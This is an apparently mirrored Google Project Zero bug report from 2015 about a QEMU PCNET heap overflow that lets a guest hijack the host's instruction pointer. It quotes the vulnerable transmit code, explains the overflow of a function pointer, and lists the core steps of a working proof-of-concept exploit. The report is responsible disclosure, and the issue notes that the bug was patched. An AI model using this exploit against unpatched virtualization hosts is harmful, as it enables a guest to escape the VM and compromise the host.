kevinmel2000 / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Heap overflow in QEMU PCNET driver allowing targeted control of host RIP from guest #395

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago
A heap overflow exists in the PCNET device controller for QEMU. A guest running 
in a VM with a PCNET device attached can trigger this vulnerability by sending 
crafted commands to the host's PCNET device controller, allowing the guest to 
take full control of the instruction pointer of the host.

-- Detail --

The vulnerability lies in the pcnet_transmit function in hw/net/pcnet.c. The 
function and relevant structures are given below:

struct pcnet_TMD {
    uint32_t tbadr;
    int16_t length;
    int16_t status;
    uint32_t misc;
    uint32_t res;
};

struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, target_phys_addr_t addr,
                         uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, target_phys_addr_t addr,
                          uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

static void pcnet_transmit(PCNetState *s)
{
    target_phys_addr_t xmit_cxda = 0;
    int count = CSR_XMTRL(s)-1;
    int add_crc = 0;

    s->xmit_pos = -1;

    if (!CSR_TXON(s)) {
        s->csr[0] &= ~0x0008;
        return;
    }

    s->tx_busy = 1;

    txagain:
    if (pcnet_tdte_poll(s)) {
        struct pcnet_TMD tmd;

        TMDLOAD(&tmd, PHYSADDR(s,CSR_CXDA(s)));

#ifdef PCNET_DEBUG_TMD
        printf("  TMDLOAD 0x%08x\n", PHYSADDR(s,CSR_CXDA(s)));
        PRINT_TMD(&tmd);
#endif
        if (GET_FIELD(tmd.status, TMDS, STP)) {
            s->xmit_pos = 0;
            xmit_cxda = PHYSADDR(s,CSR_CXDA(s));
            if (BCR_SWSTYLE(s) != 1)
                add_crc = GET_FIELD(tmd.status, TMDS, ADDFCS);
        }
        if (!GET_FIELD(tmd.status, TMDS, ENP)) {
            int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
            s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
                             s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
            s->xmit_pos += bcnt;
        } else if (s->xmit_pos >= 0) {
            int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
            s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
                             s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
            s->xmit_pos += bcnt;
#ifdef PCNET_DEBUG
            printf("pcnet_transmit size=%d\n", s->xmit_pos);
#endif
            if (CSR_LOOP(s)) {
                if (BCR_SWSTYLE(s) == 1)
                    add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
                s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
                pcnet_receive(&s->nic->nc, s->buffer, s->xmit_pos);
                s->looptest = 0;
            } else
                if (s->nic)
                    qemu_send_packet(&s->nic->nc, s->buffer, s->xmit_pos);

            s->csr[0] &= ~0x0008;   /* clear TDMD */
            s->csr[4] |= 0x0004;    /* set TXSTRT */
            s->xmit_pos = -1;
        }

        SET_FIELD(&tmd.status, TMDS, OWN, 0);
        TMDSTORE(&tmd, PHYSADDR(s,CSR_CXDA(s)));
        if (!CSR_TOKINTD(s) || (CSR_LTINTEN(s) && GET_FIELD(tmd.status, TMDS, LTINT)))
            s->csr[0] |= 0x0200;    /* set TINT */

        if (CSR_XMTRC(s)<=1)
            CSR_XMTRC(s) = CSR_XMTRL(s);
        else
            CSR_XMTRC(s)--;
        if (count--)
            goto txagain;

    } else
    if (s->xmit_pos >= 0) {
        struct pcnet_TMD tmd;
        TMDLOAD(&tmd, xmit_cxda);
        SET_FIELD(&tmd.misc, TMDM, BUFF, 1);
        SET_FIELD(&tmd.misc, TMDM, UFLO, 1);
        SET_FIELD(&tmd.status, TMDS, ERR, 1);
        SET_FIELD(&tmd.status, TMDS, OWN, 0);
        TMDSTORE(&tmd, xmit_cxda);
        s->csr[0] |= 0x0200;    /* set TINT */
        if (!CSR_DXSUFLO(s)) {
            s->csr[0] &= ~0x0010;
        } else
        if (count--)
          goto txagain;
    }

    s->tx_busy = 0;
}

In brief, this code loads a transmit-frame descriptor from the guest into the 
/tmd/ local variable to recover a length field, a status field and a 
guest-physical location of the associated frame buffer. If the status field 
indicates that the frame buffer is ready to be sent out (i.e. by setting the 
TXSTATUS_DEVICEOWNS, TXSTATUS_STARTPACKET and TXSTATUS_ENDPACKET bits on the 
status field), the PCNET device controller pulls in the frame from the 
guest-physical location to s->buffer (which is 4096 bytes long), and then 
transmits the frame.

Because of the layout of the transmit-frame descriptor, it is not possible to 
send the PCNET device controller a frame of length > 4096, but it /is/ possible 
to send the PCNET device controller a frame that is marked as 
TXSTATUS_STARTPACKET, but not TXSTATUS_ENDPACKET. If we do this - and the PCNET 
controller is configured via the XMTRL CSR to support split-frame processing - 
then the pcnet_transmit functions loops round, pulling a second transmit frame 
descriptor from the guest. If this second transmit frame descriptor sets the 
TXSTATUS_DEVICEOWNS and doesn't set the TXSTATUS_STARTPACKET bits, this frame 
is appended to the s->buffer field.

An attacker can then exploit this vulnerability by sending a first packet of 
length 4096 to the device controller, and a second frame containing N-bytes to 
trigger an N-byte heap overflow.

On 64-bit QEMU, a 24-byte overflow allows the guest to take control of the 
phys_mem_write function pointer in the PCNetState_st structure, and this is 
called when trying to flush the updated transmit frame descriptor back to the 
guest. By specifying the content of the second transmit frame, the attacker 
therefore gets reliable fully-chosen control of the host instruction pointer, 
allowing them to take control of the host.

-- PoC --

The core steps of the PoC are as below; the full PoC in C and a bootable image 
in RAW format are given as attachments to this bug report.

    // 1: PCNET 16-bit RESET
    TRACE(pcnet_ioport_readw(0x14));            // 16-bit RESET

    // 2: setup the PCNET device:
    TRACE(WriteBCR(20, 1)); // BCR_SSIZE32

    // 3: Tell the PCNET device where the initblk is:
    TRACE(WriteCSR(1, CSRIADR_ADDR & 0xffff));
    TRACE(WriteCSR(2, CSRIADR_ADDR >> 16));

    // 4: setup the PCNET 32-bit INIT blk:
    initblk = (struct pcnet_initblk32*)CSRIADR_ADDR;
    ZeroMemory(initblk, sizeof(*initblk));
    initblk->rdra = 0;          // don't setup an RX buffer
    initblk->tdra = 0x2000;     // vaddrs = paddrs because there's no paging in this PoC

    // 5: tell PCNET to INIT but not STRT (this DMAs in the initblk)
    TRACE(WriteCSR(0, 0x0001));

        // 6: Set the CSR_XMTRL value to 0x100 (we need to assert STOP on CR0 first)
    TRACE(WriteCSR(0, 0x0004));
    TRACE(WriteCSR(78, 0x100));

    // 7: tell PCNET to start
    TRACE(WriteCSR(0, 0x0002));     // assert STRT

    ////////////
    // Exploit-Time!

    // 8: Our Frame buffer
    FillMemory8((void*)FRAME_ADDR, 0x41, 4096);

    // 9: Our Buffer-fill frame:
    ZeroMemory(tx_fill, sizeof(*tx_fill));
    tx_fill->length = 0xf000;
    tx_fill->status = 0x8000 | 0x0200;
    tx_fill->tbadr = FRAME_ADDR;

        // 10: Our Buffer-overflow frame:
    ZeroMemory(tx_oflo, sizeof(*tx_oflo));
    tx_oflo->length = (uint16_t)(0xf000 | (-16));
    tx_oflo->status = 0x8000;
    tx_oflo->tbadr = FRAME_ADDR;

    // 11: tell PCNET to transmit our frame, which triggers the overflow
    TRACE(WriteCSR(0, 0x0008));

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by mattt...@google.com on 20 May 2015 at 9:20

Attachments:

GoogleCodeExporter commented 8 years ago
Patched and made public by QEMU 
https://www.mail-archive.com/qemu-devel@nongnu.org/msg302403.html

Original comment by mattt...@google.com on 10 Jun 2015 at 11:07